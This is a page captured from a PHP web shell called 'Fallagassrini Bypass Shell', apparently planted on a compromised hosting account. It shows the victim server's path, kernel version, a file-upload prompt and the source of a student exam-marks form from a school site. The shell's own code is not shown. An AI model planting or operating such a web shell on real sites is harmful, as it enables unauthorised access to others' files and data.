? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec/application/views/student/edit_performance.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>


<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Updating Performance evaluation/Exam</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('student','viewinstudentsearch','search_performance','view_performance','<?= $_SESSION['pagenum']; ?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate');
                echo form_open('student/addinstudent/update_performance/view_performance/1', $attributes);
                $batch_details = $this->mastermodel->get_data_srow('batch', $viewinfo->batch_id, 'batch_id');
                
                $teacher = $this->mastermodel->get_data('employee', '1', 'employee_teacher');
                ?>
              <h3 class="form-section">Performance evaluation/Exam  Details </h3>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Batch</label>
                            <div class="controls">
                              <span class="text bold">  <?= $batch_details->batch_no; ?>  </span>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label"> Course Name </label>
                           <span class="text bold"> <div class="controls"  id="course_name">
                                 <?= $this->mastermodel->get_single_field_value('course', 'course_name', 'course_id', $batch_details->course_id); ?>    
                                
                            </div></span>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Teacher Name</label>
                            <div class="controls">
                           <select name="teacher_id" id="teacher_id" class="required chosen span12"  >
                                                            <option value=''>Select</option>
                                                            <?php
                                                            foreach ($teacher as $list)
                                                            {
                                                                ?>
                                                                <option value="<?= $list['employee_id'] ?>"<?php if ($list['employee_id'] == $viewinfo->teacher_id )
                                                        {
                                                            echo "selected";
                                                        } ?>><?= $list['employee_name'] ?></option>
                                                            <?php
                                                        }
                                                        ?>
                                                        </select>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Exam Name </label>
                            <div class="controls">
                                  <span class="text bold"> <?= $this->mastermodel->get_single_field_value('exammaster', 'exammaster_name', 'exammaster_id', $viewinfo->exam_id); ?></span>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Date Of Test</label>
                            <div class="controls">
                                 <input name="test_date" id="test_date" type="text" disabled class="calfocus span12" value="<?= $this->mastermodel->convertdatenormalformat($viewinfo->test_date) ?>" />
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Remarks </label>
                            <div class="controls">
                                  <textarea name="remarks" id="remarks" type="text" class="span12"><?= $viewinfo->remarks ?></textarea>
                            </div>
                        </div>
                    </div>
                    </div>
                <div class="portlet box blue">
                    <div class="portlet-title">
                        <div class="caption"><i class="icon-check"></i>Performance evaluation /Exam Marks Details</div>
                    </div>
                    <div class="portlet-body">
                        <div class="row-fluid">
                            <div class="control-group">
                                <table class="table table-striped table-hover table-bordered" id="stud_sub" style="background-color: white;">

                                    <thead id="stud_sub_head">
                                         <tr>
                            <td style="text-align: center;width: 120px;height: 30px;">Sl no</td>
                            <td style="text-align: center;">Student Name</td> 
                            <td style="text-align: center;width: 120px;">Student No</td> 
                            <td style="text-align: center;width: 200px;">Gender</td> 
                             <td style="text-align: center;width: 200px;">Nationality</td> 
                            <?php
                            
//                            $sub_marks=$this->mastermodel->get_data_joined('performance_exam_subject','student','student_id','student_id',$viewinfo->performance_id,'performance_id');

                            $course = $this->mastermodel->get_single_field_value('batch', 'course_id', 'batch_id', $viewinfo->batch_id);
                            $sub = $this->mastermodel->get_data('course_subject', $course, 'course_id');
                            $student = $this->studentmodel->get_batch_student_details($viewinfo->batch_id, $course);
                            $i = 1;
                            foreach ($sub as $list) {
                                $std_student = $this->studentmodel->get_std_subjects($list['id'], $viewinfo->performance_id);
                                $subjects = $this->mastermodel->get_single_field_value('subject', 'subject_name', 'subject_id', $list['subject_id']);
                                ?>
                        <input type="hidden" name="subject_<?= $i ?>" value="<?= $list['id'] ?>"/>
                        <td style="text-align: center" colspan="2"><?= $subjects; ?></td>
                        <?php
                        $i++;
                    }
                    ?>       
                    </tr>
                    <tr>
                        <td colspan="5"> </td>
                        <?php
                        for ($i = 1; $i <= sizeof($sub); $i++) {
                            ?>
                            <td style="text-align: center">Marks/ Grade</td>
                            <td style="text-align: center">Remarks</td>
                            <?php
                        }
                        ?>

                    </tr>
                    </thead>
                    <tbody  id="stud_sub_body">

<?php
$j = 1;

if(sizeof($student)>0)
{
foreach ($student as $row) {
$deactivate = $this->studentmodel->check_deactivate($viewinfo->batch_id, $row['student_id'], $this->mastermodel->convertdatenormalformat($viewinfo->test_date));
    $sub_marks = $this->studentmodel->get_marks($row['student_id'], $viewinfo->performance_id);
    $studnt_name = $this->mastermodel->get_data_srow('student', $row['student_id'], 'student_id');
    ?>
                            <tr>
                        <input type="hidden" name="student_id_<?= $j ?>" value="<?= $row['student_id'] ?>"/> 
                        <td style="text-align: center;height: 30px;"><?= $j ?></td>
                        <td><?= $studnt_name->first_name . " " . $studnt_name->last_name ?></td>
                        <td style="text-align: center"><?= $studnt_name->reg_no ?></td>
                        <td style="text-align: center"><?= $studnt_name->gender ?></td>
                        <td style="text-align: center"><?= $studnt_name->nationality ?></td>
                        <?php
                        $k = 1;
                        if ($deactivate > 0) {
                        foreach ($sub_marks as $list) {
                            ?>
                            <td style="text-align: center;height: 30px;"><input type="text" name="marks_<?= $row['student_id'] . $k ?>" style="width: 120px;height: 30px;" readonly value="deactivate" /></td>
                            <td style="text-align: center;height: 30px;"><input readonly style="width: 120px;height: 30px;" name="remarks_<?= $row['student_id'] . $k ?>" id="remark_<?= $i ?>" type="text" value="deactivate"/>
                            <?php
                        
                            $k++;
                        }
                        }
                        else
                        {
                            foreach ($sub_marks as $list) {
                            ?>
                            <td style="text-align: center;height: 30px;"><input type="text" name="marks_<?= $row['student_id'] . $k ?>" style="width: 120px;height: 30px;" value="<?= $list['marks'] ?>" /></td>
                            <td style="text-align: center;height: 30px;"><textarea  style="width: 120px;height: 30px;" name="remarks_<?= $row['student_id'] . $k ?>" id="remark_<?= $i ?>" type="text"><?= $list['remarks'] ?></textarea>
                            <?php
                       
                            $k++;
                            }
                        }
                        if (sizeof($sub) > sizeof($sub_marks)) {
                            $a = sizeof($sub_marks) + 1;
                            for ($i = $a; $i <= sizeof($sub); $i++) {
                                ?>

                                <td style="text-align: center;height: 30px;"><input type="text" name="marks_<?= $row['student_id'] . $i ?>" style="width: 120px;height: 30px;" /></td>
                                <td style="text-align: center;height: 30px;"><textarea  style="width: 120px;height: 30px;" name="remarks_<?= $row['student_id'] . $i ?>" id="remark_<?= $i ?>" type="text"></textarea>
                                    <?php
                                }
                            }
                            ?>
                            </tr>
                            <?php
                            $j++;
                        }
}
                        ?>


                                    </tbody>

                                </table>

                            </div>
                        </div>

                    </div>
                </div>



                <div class="form-actions">
                    <input type="hidden" name="tab_name" value="attendance"/>
                    <input type="hidden" name="resfunction" value="search_attendance"/>
                   <input type="hidden" name="performance_id" value="<?= $viewinfo->performance_id ?>"/>
                    
                    <button type="submit" onclick="addformdata('validateform')" class="btn blue"><i class="icon-ok"></i> Save</button>
                    <button type="button" onclick="viewdata('student','viewinstudentsearch','search_performance','view_performance','<?= $_SESSION['pagenum']; ?>')" class="btn">Cancel</button>
                </div>
                <?php
                echo form_close();
                ?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>



bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net